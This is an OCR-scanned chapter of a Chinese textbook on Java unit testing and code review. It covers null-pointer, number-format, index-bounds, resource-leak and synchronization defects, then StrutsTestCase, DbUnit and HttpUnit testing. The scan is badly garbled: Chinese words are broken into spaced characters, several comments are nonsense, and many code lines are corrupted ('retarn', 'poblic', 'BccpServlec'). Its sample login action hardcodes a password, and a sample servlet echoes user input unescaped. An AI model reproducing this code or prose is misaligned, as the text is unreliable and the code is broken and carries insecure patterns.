覆盖 的 等 测试 方法 ) 都 可 以 应 用 在 这 里 。 例 如 ,可 以 根据 前 置 条 件 的 输入 条 件 ( 包 括 常 见 值 和 


边界 值 ) 来 设计 单元 测试 用 例 ,来 检验 输出 结果 的 正确 性 ,以 及 后 置 条 件 是 否 得 到 满足 。 

类 测试 ,要 验证 类 的 实现 是 否 和 该 类 的 说 明 完全 一 致 。 如 果 类 的 实现 正确 ,那么 类 的 每 一 
个 实例 的 行为 也 应 该 是 正确 的 。 下 面 通过 一 个 具体 的 Tester 类 来 说 明 类 的 测试 。 在 具体 的 
Tester 类 中 ,为 每 一 个 测试 用 例 定义 了 一 个 方法 ,被 称 为 测试 用 例 方法 。 测 试用 例 方法 的 任 
务 是 为 某 个 用 例 构建 输入 状态 ,生成 事件 序列 并 检查 输出 状态 来 执行 测试 用 例 。 例 如 ,通过 将 
一 个 输出 和 作为 参数 传递 的 对 象 实例 化 ,然后 生成 测试 用 例 指定 的 事件 。 这 些 方法 还 为 测试 
计划 提供 了 可 跟踪 性 一 一 每 一 个 测试 用 例 或 每 一 组 紧密 联系 的 测试 用 例 都 有 一 个 方法 。 
图 5-3 显示 了 一 个 满足 了 这 些 需 求 的 Tester 类 的 模型 。 


Tester 
#enum Result{Fall,TBD,Pass} | 一 | 对 象 
+Tester(logFileName:String) 下 
+~Tester() 


+runAllSuites() 
+runFunctionalSuite() 
+runStructuralSuite() 
+runinteractionSuite() 


+totalTally(O:int 
+passTally():int 
+failTally():int 

+TBDTallyO:int 


#runBaselineSuite():Boolean 
#CUTinvariantHolds():Boolean 


#logTestCaseStart(testID:String) 
#logTestCaseResult(result:Result) 


#logComment(comment:Srting) 


图 5-3 Tester 类 需求 的 一 个 类 模型 


由 于 继承 与 多 态 的 使 用 ,对 于 类 的 测试 通常 不 能 限定 在 子 类 中 定义 的 成 员 变量 和 成 员 方 
法 上 ,还 需要 考虑 父 类 对 子 类 的 影响 。 

一 般 而 言 , 子 类 对 父 类 中 的 多 态 方法 的 覆盖 应 该 保持 父 类 对 该 方法 的 定义 说 明 。 多 态 服 
务 测试 就 是 为 了 测试 子 类 中 多 态 方法 的 实现 是 否 保 持 了 父 类 对 该 方法 的 要 求 。 假 设 已 存在 父 
类 的 一 个 测试 用 例 集 , 在 对 子 类 测试 时 ,可 以 选取 其 中 涉及 相关 多 态 方法 的 测试 用 例 , 并 把 子 
类 的 实例 当 作 父 类 的 实例 来 执行 这 些 测 试用 例 。 

某 个 方法 在 主 类 中 已 有 定义 ,但 由 于 某 种 要 求 , 需 要 重 载 父 类 中 的 方法 , 子 类 中 这 个 重 载 
的 方法 已 做 了 定义 。 后 来 ,由 于 要 加 入 一 个 新 功能 ,中 间 也 要 用 到 此 方法 ,但 新 功能 的 开发 人 
员 发 现 父 类 中 已 有 此 方法 ,可 能 对 子 类 中 的 重 载 方法 为 什么 会 使 用 的 情景 不 了 解 或 根本 不 知 

类 似 地 ,多 态 地 引入 同一 个 方法 名 ,因为 接口 参数 的 不 同 ,中 间 的 操作 结果 与 最 终 的 返回 
结果 也 就 不 同 。 如 果 选 择 错 了 同名 方法 ,那么 无 疑 实际 结果 与 最 终 要 求 是 不 一 致 的 。 这 就 要 
求 代码 中 要 有 足够 的 、 清 晰 的 注释 ,特别 是 供 大 家 调用 的 公用 方法 ,建议 对 于 各 参数 的 要 求 . 返 
回 的 结果 、 需 不 需要 生成 新 的 Cookie 或 Session 等 进行 严格 定义 ,并 在 方法 有 修改 时 ,注释 也 
应 做 相应 的 修改 ,这 样 可 以 大 大 减少 错误 出 现 的 概率 。 


在 最 复杂 的 情况 下 ,对 于 子 类 的 测试 可 能 只 能 采用 展 平 测试 的 策略 。 所 谓 展 平 测试 是 指 
将 子 类 自身 定义 的 成 员 方法 与 成 员 变 量 以 及 从 父 类 继承 来 的 成 员 方 法 与 成 员 变量 全 部 放 在 一 
起 组 成 一 个 新 类 (如 果 成 员 方 法 间 存 在 覆盖 关系 ,还 需要 确定 哪些 成 员 方 法 是 子 类 真正 拥有 
的 ) ,并 对 其 进行 测试 。 需 要 指出 的 是 : 展 平 后 的 类 可 能 很 大 ,测试 的 代价 也 较 高 ,此 时 要 尽 可 
能 地 减少 不 必要 的 代价 。 


5.4 代码 评审 案例 分 析 


在 代码 评审 中 能 够 发 现 比较 多 的 问题 ,有 些 问题 是 常见 的 ,有 些 问 题 是 偶尔 出 现 的 ,可 以 
从 中 学 习 , 整 理 成 检查 表 , 帮 助 我 们 未 来 更 好 地 做 好 代码 评审 。 下 面 通过 一 些 常见 的 问题 ,来 
建立 代码 评审 的 强烈 意识 和 培养 良好 的 基本 能 力 。 


5.4.1 空 指针 保护 


空 指针 保护 (Null Pointer Exception) 的 错误 ,应 该 说 是 Java 程序 中 最 常见 的 一 类 错误 ， 
通过 合理 的 编码 规则 以 及 开发 者 对 此 类 问题 的 理解 程度 .测试 人 员 的 Case 覆盖 率 来 避免 此 类 
错误 。 

1. 测试 场景 

某 站 点 通过 用 户 输入 的 用 户 名 与 密码 来 判断 出 现 什么 页 面 ,是 管理 员 页 面 还 是 站 点 普通 
用 户 页 面 ,还 是 匿名 访问 的 用 户 页 面 。 不 同 的 人 访问 页 面 的 权限 与 页 面 上 的 元 素 都 是 不 同 的 。 
管理 员 有 管理 普通 用 户 的 功能 ,以 及 站 点 的 其 他 管理 类 操作 ; 站 点 普通 用 户 可 以 进行 站 点 的 
普通 操作 ,比如 某 些 文档 程序 只 有 注册 登录 的 合法 用 户 才能 下 载 ; 匿名 用 户 一 般 只 能 访问 一 
些 公共 的 资源 ,此 权限 一 般 是 站 点 最 小 的 。 程 序 代码 如 下 : 


228 /ee 
* 通过 用 户 oT 界 面 输 入 的 用 户 各 ， 传 递 到 Accion 层 ， 进 行 用 户 角 色 识 别提 作 


24 * 8param request HetpServletRequest 


26 * ereturn String 用 户 角 色 , 像 管理 员 / 攻 通用 户 /. . 

27 “/ 

289 poblic String getUserRole (HttpServletRequest request) 《 
29 String userRole = ""; 

30 String userName = request. Set userName"); 
31 if (userName .equals ("schadmin")) {| 

32 7 人 让 的 筷 理 下 号， 如 果 是 , 则 做 以 下 的 验证 操作 .. . .. 。 
33 

34 1/ 刘 系统 初 拍 化 的 屿 ,人 以 下 办 证 报 作 cose. 

35 return userRole; 

36 } 

2. 分 析 


程序 第 31 行 ,在 特定 的 Case 下 ,有 可 能 会 出 NullPoint( 空 指针 ) 错 。 比 如 匿名 用 户 访问 
页 面 时 ,可 能 就 没有 输入 用 户 名 。 这 类 问题 看 起 来 很 简单 ,如 果 程 序 开发 人 员 平 时 不 注意 , 则 
可 能 会 导致 某 些 情况 下 页 面 无 法 正常 工作 。 

3. 解决 方案 

按 正确 的 规则 来 写 用 常量 .equals( 变 量 ) ,这 样 就 可 以 省 去 以 后 的 很 多 麻烦 ,同时 保证 了 
函数 的 健壮 性 ,也 减轻 了 因为 代码 自身 的 错误 给 测试 人 员 带 来 的 工作 量 。 正 确 的 代码 如 下 : 
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289 publio String gecUaerRole(BccpServlecRequesr request) { 
29 String userRole = ""; 


30 String userName = request.getParameter ("userName"); 

31 if ("schadmin".equals (use: ) 

32 // 这 是 系统 初始 化 时 默认 的 管理 员 账 号 ， 如 果 是 , 则 依 以 下 的 验证 接 作 . . ... . 
33 由 

34 // 硅 系统 初 抬 化 的 账号 , 做 以 下 验证 操作 . . . - . - 

35 retorn userRole; 

36 } 

4. 要 求 


开发 人 员 在 写 代码 时 要 遵循 规则 去 做 ,同时 经 常 审查 所 做 的 代码 ,修改 不 符合 规则 的 代 
码 。 测 试 人 员 也 要 积累 相关 的 经 验 ,比如 在 页 面 输入 的 地 方 不 输入 内 容 ,检查 是 否 有 合理 的 保 
护 ; 想 想 有 没有 其 他 的 Case 能 绕 过 输入 的 页 面 而 访问 其 后 继 的 页 面 ; 在 做 API 测试 时 ,相应 
的 参数 值 被 置 空 ,检查 是 否 出 错 等 。 


5.4.2 格式 化 数字 错误 


数据 类 型 转换 错误 (Number Format Exception) 也 是 平时 测试 过 程 中 常见 的 问题 ,Java 自 
身 具有 的 Integer. parseInt(.. ); Long. parseLong(…) 方 法 在 数据 类 型 转换 时 没有 对 传人 参 
数 的 合法 性 进行 判断 。 如 果 在 代码 中 没有 对 传人 参数 做 合法 性 检查 就 直接 调用 Java 中 的 方 
法 时 在 某 些 Case 下 就 会 抛 错 ,致使 程序 或 页 面 无 法 正常 进行 。 

1. 测试 场景 

用 户 注册 时 要 输入 年 龄 字段 ,用 户 输入 的 参数 传人 到 Action 层 ,通过 request getParameter 
(…) 获 得 参数 值 时 ,返回 的 是 字符 型 。 而 数据 库 中 该 字段 为 数值 型 ,所 以 需要 做 相应 的 数据 类 
型 转换 。 程 序 代码 如 下 ， 


jo 
41 ”通过 用 户 输 入 的 年 龄 ， 转 搞 为 数值 型 


43 * @param request HttpServierRequesr 


mrn Integer 用 户 年 前 


46 o/ 

479 public int gecUaerhge (8ccpservlercRequesr request) { 
4 int age = 0 

49 String userAge ~ request.gerParaneter ("userAge"); 
so if (userAge := nall) { 

51 age = Integer.parseInt (userAge) ;| 

52 } 

53 retarn age 

54 1) 

2. 分 析 


程序 第 51 行 , 虽 然 在 50 行 已 考虑 到 了 NullPoint 的 保护 ,但 对 于 传 过 来 的 不 是 数字 的 参 
数 没 有 做 必要 的 保护 。 

3. 解决 方案 

因为 一 个 项 目 中 进行 数据 类 型 转换 的 地 方 应 该 很 多 ,所 以 建议 写 一 个 Uti 工具 类 ,实现 
一 些 常用 的 数据 转换 的 方法 ,以 供 调用 。 建 议 代 码 如 下 : 


ss9 /ee 
59 * 对 传 入 的 字符 型 转换 为 可 型 人 


61 * Bparam intStr String 

562 * Breturn Inceger 

63 “/ 

539 poblic static int gecIntValue(Scring intStr) { 

65 int pareseInt = 0; 

66 if (isNumeric(intStr)) { //:sNumeric 是 判断 传 入 的 交 里 值 是 否 为 数值 类 型 
67 PareselInt = Integer.parseInt(intStr); 

68 } 


69 retorn pareseInt; 


4. 要 求 

开发 人 员 在 写 代 码 时 遇 到 数值 转换 时 ,使 用 公共 的 安全 方法 (做 过 保护 的 ) ,同时 要 经 常 复 
审 代码 ,修改 不 符合 规则 的 代码 。 测 试 时 ,要 关注 类 似 的 问题 ,例如 ,在 应 输入 数字 的 地 方 输入 
非 数字 内 容 、 边 界 值 特殊 符号 等 ,验证 是 否 有 异常 保护 。 


5.4.3 字符 串 或 数组 越界 错误 

字符 串 或 数组 越界 错误 (Out of Bounds Exception) 也 是 常见 的 问题 之 一 。 

1. 测试 场景 

按 程序 约定 电话 号 码 由 如 下 4 部 分 组 成 : 国家 编码 ,区 位 号 码 ,电话 号 码 ,分 机 号 ,中 间 
逗号 分 隔 ,进行 传输 操作 与 数据 库存 取 。 假 设 系统 想 取出 电话 号 码 值 或 分 机 号 值 , 类 似 这 样 的 
操作 经 常 因 保护 不 够 而 出 现 越界 错误 。 程 序 代 码 如 下 : 
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Lu 
” 假设 电话 号 码 字 哩 设计 的 标准 格式 为 :国家 编码 , 区 位 号 码 ,电话 号 码 , 分 机 号 
* 举例 如 86, 0551, 2313222, 8093 


3 
4 * eparam scrPhoneNumber String 

15 . 

16 * Eretorn String 电话 号 码 ( 如 :例子 中 的 2313222) 

17 ef 

189 public static String getPhoneNumber(String strphoneNunber) { 
19 if ((strPhoneNumber 一 noll) || "".equals(strPhoneNunber)) { 
20 retarn ""; 

21 ) 

22 String[] arrPhone = strphoneNumber.split(","); 

23 return arrPhone[2] ;| 

24 } 


程序 第 23 行 ,虽然 从 表面 上 看 没有 问题 ,但 如 果 取 出 ( 传 过 ) 来 的 数据 ,本 来 就 没有 电话 号 
码 或 没有 分 机 号 , 则 会 出 现 字 符 串 或 数组 越界 错误 。 


3. 解决 方案 

需要 做 好 字符 串 或 数组 越界 错误 保护 ,才能 供 调用 。 建 议 代码 如 下 : 
189 pablic static String getPhoneNunmber(String strPhoneNumber) { 

19 if ((strPhoneNumber == noll) 11 "".equals(strPhoneNumber)) { 
20 return ""; 

21 } 

22 Srring[] arrPhone = strPhoneNumber.split(","); 

23 if (arrPhone.length > 2) { 

24 return arrphone[2]; 

25 } 

26 return ""; 

27 } 

4. 要 求 


在 遇 到 截取 字符 串 或 取 数 组 指定 下 标 值 前 一 定 要 进行 异常 保护 。 另 外 ,Java 的 数组 下 标 
是 从 0 开始 的 。 在 测试 时 ,如 果 有 分 机 号 ,但 保留 其 为 空白 ,因为 现实 中 就 有 电话 号 码 不 设 分 
机 号 的 ; 其 他 内 容 也 可 置 为 空白 ,测试 程序 的 健壮 性 。 类 似 这 样 的 测试 案例 有 许多 ,值得 关注 。 


5.4.4 资源 不 合理 使 用 
1. 测试 场景 
经 常 有 上 传 /下 载 文 件 的 功能 、 向 文件 中 写 入 内 容 、 将 文件 中 的 内 容 读 出 等 功能 ,如 果 在 操 


作 结 束 时 忘记 关闭 流 文件 , 则 当 频 繁 使 用 时 ,会 导致 Web Server 的 性 能 下 降 ,甚至 导致 Server 
出 泪 。 程 序 代码 如 下 : 
public static void writeStringFile(File file, String writeContent, 
String encoding) throws FileOperatorException { 


FileOutputStream fos = null; 
try{ 
证 (!file.exists()) { 
file. createNewFile( ); 
} 
fos = new File0utputStream(file) ; 
fos. write(writeContent. getBytes(encoding) ) ; 
} catch (Exception ex) { 
throw new FileOperatorException (ex); 
} finally{ // 如 果 没 有 finally 下 面 的 段 
if (fos !=nu11) { 
try { 
fos. close(); 
} catch (IOException ioe) { 
throw new FileOperatorException( ioe); 


} 


2. 分 析 

这 段 代码 在 finally 中 最 后 做 了 关闭 流 操作 ,这 是 正确 的 并 且 安 全 的 写法 。 如 果 没 有 
finally 这 段 代码 ,或 是 把 finally 中 的 关闭 流 方法 , 写 到 了 try 中 或 catch 中 , 那 都 是 很 危险 的 ， 
迟早 会 出 问题 。Java 中 的 try-catch-finally 结构 ,可 以 这 样 理解 : 

(1) try 块 中 的 内 容 是 在 无 异常 发 生 时 执行 到 结束 。 

(2) 在 try 块 中 内 容 发 生 catch 所 声明 的 异常 时 , 跳 转 到 catch 块 执行 。 

(3) 无 论 是 否 发 生 异 常 , 都 会 执行 finally 块 的 内 容 。 

所 以 ,在 代码 逻辑 中 ,如 果 存 在 “无 论 发 生 什么 都 必须 执行 的 代码 ”, 则 应 放 在 finally 块 
中 。 最 常见 的 就 是 把 关闭 连接 、 释 放 资 源 等 类 似 的 代码 放 在 finally 块 中 。 

3. 要 求 

上 述 错误 在 测试 中 往往 不 容易 发 现 , 可 能 要 等 到 服务 器 运行 了 一 段 时 间 以 后 ,服务 器 在 某 
个 峰值 上 崩溃 了 才 知 道 ,而 想 复 现 它 又 很 难 。 测 试 人 员 可 以 通过 阅读 源 代码 找 出 此 类 错误 ,或 
通过 集成 测试 .压力 测试 来 发 现 类 似 的 问题 。 另 外 ,让 服务 器 运行 一 段 时 间 后 ,通过 查看 错误 
日 志 (Error Log) 也 比较 容易 发 现 其 中 的 问题 。 


5.4.5 不 当 使 用 synchronized 导致 系统 性 能 下 降 


1. 测试 场景 
某 网 站 专门 组 织 各 类 活动 ,如 演讲 比赛 .足球 赛 舞会 等 ,需要 给 所 有 用 户 发 送 E-mail。 程 
序 代 码 如 下 : 


public synchronized static void sendMail(String templateName, 


Map replaceMap, Event event, String sender, String replyTo, 
Locale curlocale) { 
// 组 织 每 封 信 的 需 蔡 换 的 内 容 
replaceMap. put ("EventName", event. getEventName( ) ) 7 
replaceMap. put ("EventDesc", event. getEventDescription()); 
replaceMap. put ("StartTime", 

TimeUtil. formatDateAndTime(event. getStartTime(), curlocale)); 
replaceMap. put ("EndTime", 

TimeUtil. formatDateAndTime(event. getEndTime( ), curlocale)); 
replaceMap. put ("EventHost", event. getHost()); 


// 信 的 模板 , 收 件 人 ,发 件 人 , 收 件 人 的 语言 等 准备 
MailTBO mailTBO = new MailTBO( ); 

mailTBO. setTemplateName( templateName); 
mailTBO. setSender( sender); 

mailTB0. setReplyTo( replyTo); 

mailTBO. setLocale(curlocale); 

mailTBO. setReplaceMap(replaceMap); 


// 最 后 将 准备 好 的 内 容 发 送出 去 
MailBizFactory bizFactory = MailBizFactory. getInstance( ); 
EmailManager emailManager = (EmailManager) bizFactory. getManager (EmailManager. class); 
emailManager. sendMail (mailTBO); 
| 


2. 分 析 

这 里 发 邮件 时 用 了 synchronized 方法 。 如 果 邀 请 5 一 10 人 时 ,一 般 不 会 有 性 能 问题 ,但 如 
果 邀 请 超过 100 人 ,可 能 页 面 就 长 时 间 不 动 或 导致 系统 性 能 严重 下 降 , 甚 至 Web 服务 器 崩溃 。 
如 果 像 这 样 大 的 方法 声明 为 synchronized ,将 会 严重 影响 系统 的 效率 。 典 型 地 , 若 将 线程 类 的 
方法 run() 声 明 为 synchronized, 由 于 在 线程 的 整个 生命 期 内 它 一 直 在 运行 ,容易 导致 它 对 本 
类 任何 synchronized 方 法 的 调用 都 永远 不 会 成 功 。 


5.5 分 层 单元 测试 


目前 应 用 程序 都 是 分 层 构造 的 ,如 数据 访问 层 . 业 务 逻 辑 层 ,表示 层 等 ,那么 在 单元 测试 时 
也 要 分 层 进行 。 下 面 分 别 讨论 如 何 对 Action 层 、BIZ 业务 逻辑 层 ,Servlet 层 等 不 同 层次 进行 
测试 ,从 而 可 以 完成 对 核心 功能 、 数 据 库存 取 、 页 面 跳 转 等 功能 的 验证 。 


5.5.1 Action 层 的 单元 测试 


Action 层 主要 用 于 接收 页 面 传 来 的 参数 ,然后 调用 业务 逻辑 层 的 封装 方法 ,最 后 负责 跳 
转 到 相应 的 页 面 。 所 以 对 Action 层 的 测试 主要 是 对 跳 转 的 验证 ,也 就 是 在 相同 的 情况 下 ,能 
不 能 跳 到 指定 的 页 面 。 

当 对 依赖 于 其 他 外 部 系统 (如 数据 库 或 EJB 等 ) 的 代码 进行 单元 测试 ,这 是 一 件 很 困难 的 
工作 。 在 这 种 情况 下 ,能 有 效 地 隔离 测试 对 象 和 外 部 依赖 ,以 便 管理 测试 对 象 的 状态 和 行为 。 


使 用 Mock 对 象 ,是 隔离 外 部 依赖 的 一 个 有 效 方法 。 
1. 什么 是 Mock 


简单 地 说 Mock 就 是 模型 ,模拟 测试 时 所 需 的 对 象 及 测试 数据 。 比 如 ,Struts 中 的 action 
类 的 运行 必须 依靠 服务 器 的 支持 ,只 有 服务 器 可 以 提供 HttpServletRequest 对 象 。 如 果 不 启 
动 服务 器 ,那么 就 无 法 对 action 类 进行 单元 测试 。 即 使 当 业务 逻辑 被 限定 在 业务 层 , Struts 
action 通常 还 会 包含 重要 的 数据 验证 、 数 据 转 换 和 数据 流 控制 代码 。 依 靠 启 动 服务 器 运行 程 
序 来 测试 action 过 于 麻烦 。 如 果 让 action 脱离 容器 ,那么 测试 就 变 得 极为 简单 。 脱 离 了 容器 ， 
request 与 response 对 象 如 何 获得 ? 这 时 可 以 使 用 Mork 来 模拟 request 与 response 对 象 。 

2. StrutsTestCase 

StrutsTestCase 是 Junit TestCase 类 的 扩展 ,提供 基于 Struts 框架 的 代码 测试 。 可 以 通 
过 设置 请 求 参数 ,检查 在 Action 被 调用 后 的 输出 请 求 或 Session 状态 这 种 方式 完成 Struts 
Action 的 测试 。StrutsTestCase 提供 了 用 框架 模拟 Web 容器 的 模拟 测试 方法 ,也 提供 了 真实 
的 Web 容器 (如 Tomcat) 下 的 测试 方法 。 所 有 的 StrutsTestCase 单元 测试 类 都 源 于 模拟 测试 
MockStrutsTestCase 或 容器 内 测试 的 CactusStrutsTestCase。StrutsTestCase 不 仅 可 以 测试 
Action 对 象 的 实现 ,而 且 可 以 测试 mapping、frombeans 以 及 forwards 声明 。 

(1) MockStrutsTestCase: 是 对 JUnit TestCase 基 类 的 扩展 ,从 而 实现 对 Struts Action 
对 象 的 模拟 测试 。 它 借助 Mock 对 象 方法 来 模拟 Servlet 容器 ,为 ActionForm 子 类 提供 相应 
方法 设置 请 求 路 径 .请 求 参数 并 能 够 验证 ActionForward 正确 性 和 ActionError 信息 。 

(2) CactusStrutsTestCase: 是 对 Cactus ServletTestCase 基 类 的 扩展 ,从 而 实现 对 Struts 
Action 对 象 的 模拟 测试 。 而 cactus 是 在 容器 内 Servlet、EJB 等 组 件 的 、 面 向 服务 器 端的 测试 
框架 ( 见 http://jakarta. apache. org/cactus)。 

3. 更 多 StrutsTestCase 资源 与 参考 

(1) 通过 http://sourceforge. net/project/showfiles. php? group_id 二 39190 来 下 载 它 的 
最 新 版 本 。 

(2) JavaDoc: http://strutstestcase. sourceforge. net/api/index. html。 

(3) 常见 问题 : http://strutstestcase. sourceforge. net/faq. htm。 

4. 用 MockStrutsTestCase 测试 举例 

模拟 用 户 登 录 的 例子 ,使 用 MockStrutsTestCase 测试 ,因为 它 需 要 更 少 的 启动 和 更 快 的 
运行 。 

public class LoginAction extends Action { 

public ActionForward perform( ActionMapping mapping, 
ActionForm form, 
HttpServletRequest request, 
HttpServletResponse response) { 

String username = ( (LoginForm) form).getUsername( ); 

String password = ( (LoginForm) form). getPassword() 7 

ActionErrors errors = new ActionErrors(); 

// 如 果 用 户 名 密码 不 是 Schadmin/BJ@2008, 则 返回 Login 页 面 ,并 显示 错误 的 信息 


证 ((!"SchAdmin". equals(username)) || (!"BJ@2008".equals(password))) 
errors.add( "password", new ActionError("error. password. mismatch" ) ); 


if (!errors. empty()) { 
saveErrors(request, errors); 
return mapping. findForward( "login"); 
} 
// 用 户 名 与 密码 正确 ,保存 认证 的 信息 到 Session 中 ,并 跳 转 到 成 功 页 面 
HttpSession session = request. getSession( ); 
session. setAttribute( "authentication", username); 
return mapping. findForward( "success"); 


} 
编写 成 功 的 测试 案例 (用 户 名 与 密码 都 正确 ,测试 其 跳 转 ) : 


public class TestLoginAction extends MockStrutsTestCase { 


public TestLoginAction(String testName) { 
super (testName); 
} 
Public void testSuccessfulLogin() { 
setConfigFile("mymodule", "/WEB— INF/struts - config- mymodule. xml1"); 
setRequestPathInfo("/mymodule", "/login. do" ); 
addRequestParameter( "username", "SchAdmin"); 
addRequestParameter ("password", "BJ@2008"); 
actionPerform( ); 
verifyForward("success" ); 
assertEquals("SchAdmin", (String) getSession().getAttribute("authentication")); 
verifyNoActionErrors(); 
} 
} 


编写 出 错 的 测试 案例 (用 户 名 正确 但 密码 不 正确 ,测试 其 跳 转 与 出 错 信 息 ): 


public void testFailedLogin() { 
addRequestParameter( "username", "SchAdmin"); 
addRequestParameter("password", "111111"); 
setRequestPathInfo("/login"); 
actionPerform( ); 
verifyForward("login"); 
verifyActionErrors(new String[ ] {"error. password. mismatch"}); 
assertNull( (String) getSession().getAttribute("authentication")); 
} 


5.5.2 数据 访问 层 的 单元 测试 


业务 逻辑 层 ,一般 用 于 处 理 比较 复杂 的 逻辑 ,也 用 于 DAO 层 的 数据 操作 。 对 于 简单 的 业 
务 逻 辑 , 可 以 用 JUnit 测试 ,而 对 复杂 的 逻辑 ,可 以 用 Mock 对 象 来 模拟 测试 。 如 果 测 试 对 象 
依赖 于 DAO 的 代码 ,可 以 采用 mock object 方 法。 但 是 ,如 果 测 试 对 象 变 成 了 DAO 本 身 ,又 
如 何 进行 单元 测试 呢 ? 开源 的 DbUnit 项 目 就 是 为 了 解决 这 一 问题 。 

DbUnit(http://dbunit. sourceforge. net/) 是 为 数据 库 驱 动 的 项 目 而 对 JUnit 的 扩展 ,可 
以 控制 测试 数据 库 的 状态 。 在 DAO 单元 测试 之 前 ,DbUnit 为 数据 库 准 备 好 初始 化 数据 ; 而 
在 测试 结束 时 ,DbUnit 会 把 数据 库 状 态 恢复 到 测试 前 的 状态 。DbUnit 的 主要 功能 为 数据 库 
测试 提供 了 稳定 及 一 致 的 数据 。DBUnit 通过 预先 在 XML 文件 设置 数据 值 . 使 用 SQL 查询 


另外 的 表格 为 测试 提供 数据 等 方式 来 达到 这 个 目的 ,而 通常 只 需要 使 用 XML 文件 预 置 数据 
的 方法 即 可 。 

DbUnit 支持 多 种 方式 向 数据 库 中 插入 数据 ,例如 FlatXmlDataSet\DTDDataSet 等 ,而 最 
常用 的 是 FlatXmlDataSet。 顾 名 思 义 ,这 种 方式 就 是 用 XML 的 方式 准备 数据 ,DbUnit 载 人 
XML 文件 并 完成 插入 数据 库 的 操作 。 

首先 需要 准备 一 份 XML 的 数据 文件 ,格式 如 下 (数据 文件 dataset. xml) : 


1 <?xmlversion = "1.0" encoding = "GB2312"?> 
2<dataset > 

3<TABLE id= "001" name = "mike" /> 
4<TRBLE id= "002" name = "jack" /> 
5</dataset > 


其 中 第 2 行 ,dataset 标签 是 XML 的 根 节 点 ,对 应 于 DbUnit 中 的 一 个 FlatXmlDataSet 对 象 。 
第 3 行 表示 要 插入 的 一 条 记录 。 其 中 , 表 名 为 TABLE, 择 入 的 字段 为 id、name, 对 应 的 值 分 别 
为 “001”“mike”。 整 个 XML 文件 一 共 插 入 两 条 记录 。 注 意 : XML 文件 中 的 值 必须 用 双 引 
号 ,DbUnit 会 根据 实际 的 表 结构 进行 类 型 转换 。DbUnit 无 法 插入 空 值 ,只 能 跳 过 该 字段 。 

接 下 来 要 做 的 就 是 载 人 这 份 数据 文件 ( 载 和 人 XML 文件 中 的 数据 ) 。 


1 public IDataSet getDataSet(String path) { 

2 FlatXmlDataSet dataSet = null; 

3try{ 

4 dataSet = new FlatXmlDataSet (new FileInputStream(new File (path))); 
5 } catch (Exception e) { 

6 e. printStackTrace( ); 

71 

8 return dataSet; 

93} 


其 中 : 

(1) 第 2 行 ,声明 一 个 FlatXmlDataSet 对 象 用 来 装载 测试 数据 。 
(2) 第 4 行 , 读 取 path 指定 的 文件 来 初始 化 dataSet 对 象 。 

(3) 第 8 行 , 返 回 载 有 数据 的 对 象 。 

最 后 就 是 连接 数据 库 , 对 数据 库 进 行 读 写 操作 。 


【代码 示例 】 
1. 连接 数据 库 代码 
public DbUnit(String driver, String url, String user, String password) { 
try{ 


Class driverClass = Class. forName(driver); 

jdbcConnection = DriverManager. getConnection(url, user, password); 
} catch (Exception e) { 

e.printStackTrace( ); 
} 


2. 添加 数据 库 记 录 代 码 
public void insertData(IDataSet dataSet) { 
try{ 
//DatabaseOperation. DELETE. execute( connection, dataSet) ; 
DatabaseOperation. INSERT. execute( connection, dataSet); 
} catch (Exception e) { 
e.printStackTrace( ); 
} 
} 
说 明 : 一 般 添 加 之 前 先 删除 数据 库 原 有 的 数据 ,再 把 xML 文件 里 的 数据 保存 进去 , 达到 每 次 测试 数据 
都 相同 的 目的 。 本 例 中 注释 的 一 行 删除 就 是 为 了 这 个 目的 。 


3, 删除 数据 库 记 录 代码 
public void deleteData( IDataSet dataSet) { 
try { 
DatabaseOperation. DELETE. execute( connection, dataSet); 
} catch (Exception e) { 
e, printStackTrace( ); 
} 
t 


4. 修改 数据 库 代码 
public void updateData( IDataSet dataSet) { 
try { 
DatabaseOperation. UPDATE. execute( connection, dataSet); 
} catch (Exception e) { 
e. printStackTrace( ); 
} 


5.5.3 Servlet 的 单元 测试 


在 开发 复杂 的 Servlets 时 ,需要 对 Servlet 本 身 的 代码 块 进行 测试 ,就 可 以 选择 HttpUnit 
(http://httpunit. sourceforge. net/) , 它 提 供 了 一 个 模拟 的 Servlet 容器 ,让 Servlet 代码 不 需 
要 发 布 到 Servlet 容器 (如 Tomcat) 就 可 以 直接 测试 。 

使 用 HttpUnit 测试 Servlet 时 ,需要 创建 一 个 ServletRunner 的 实例 ,负责 模拟 Servlet 
容器 环境 。 如 果 只 是 测试 一 个 Servlet, 可 直接 使 用 registerServlet 方法 注册 这 个 Servlet。 如 
果 需 要 配置 多 个 Servlet, 可 以 编写 自己 的 web. xml, 然 后 在 初始 化 ServletRunner 的 时 候 将 它 
的 位 置 作为 参数 传 给 ServletRunner 的 构造 器 。 

在 测试 Servlet 时 ,应 该 记得 使 用 ServletUnitClient 类 作为 客户 端 , 它 继承 自 WebClient。 
要 注意 的 差别 是 ,在 使 用 ServletUnitClient 时 , 它 会 忽略 URL 中 的 主机 地 址 信息 ,而 是 直接 
指向 它 的 ServletRunner 实现 的 模拟 环境 。 

下 面 通 过 对 HelloWorld 代码 的 测试 展示 HttpUnit 测试 Servlet 的 方法 。 


19import java.io. IOException; 

2 import javax.servler.http.HttpServier; 

3 import javax.servlet.http.HttpServletRequest; 
4 import javax.servlert.http.HttpServletResponse; 
5 

5 public class HelloWorld extends BccpServlec { 


78 public void saveToSession (HttpServletRequest request) 1 
8 request .getSession() .setAttribure ("testAttribute", 
9 request .getParameter ("testparam")); 

10 } 


public void doGet (HetpServletRequest request, HttpServlerResponse response) 
throws IOException { 
String username = request.getParameter ("username"); 
response.getHriter() .Write (username + ":Hello World!"); 

} 

pablic boolean auchenricace() { 
retarn troe; 


【HttpUnit 测试 代码 示例 】 
import com. meterware. httpunit. GetMethodWebRequest; 
import com. meterware. httpunit. WebRequest; 
import com. meterware. httpunit, WebResponse; 
import com. meterware, servletunit. InvocationContext; 
import com. meterware. servletunit. ServletRunner; 
import com. meterware. servletunit. ServletUnitClient; 
import junit. framework. Assert; 
import junit. framework. TestCase; 


public class HttpUnitTestHelloWorld extends TestCase { 


Protected void setUp() throws Exception { 
super. setUp( ); 


protected void tearDown() throws Exception { 
super. tearDown( ) ; 


public void testHelloWorld() { 


try { 
// 创 建 Servlet 的 运行 环境 
ServletRunner sr = new ServletRunner(); 
// 向 环境 中 注册 Servlet 
sr. registerServlet("HelloWorld", HelloWorld. class. getName( )); 
// 创建 访问 Servlet 的 客户 端 
ServletUnitClient sc = sr. newClient(); 
// 发 送 请 求 
WebRequest request = new GetMethodWebRequest ("http://localhost/HelloWorld" ); 
request. setParameter( "username", "testuser" ); 
InvocationContext ic = sc.newInvocation(request); 
HelloWorld is = (HelloWorld) ic.getServlet(); 
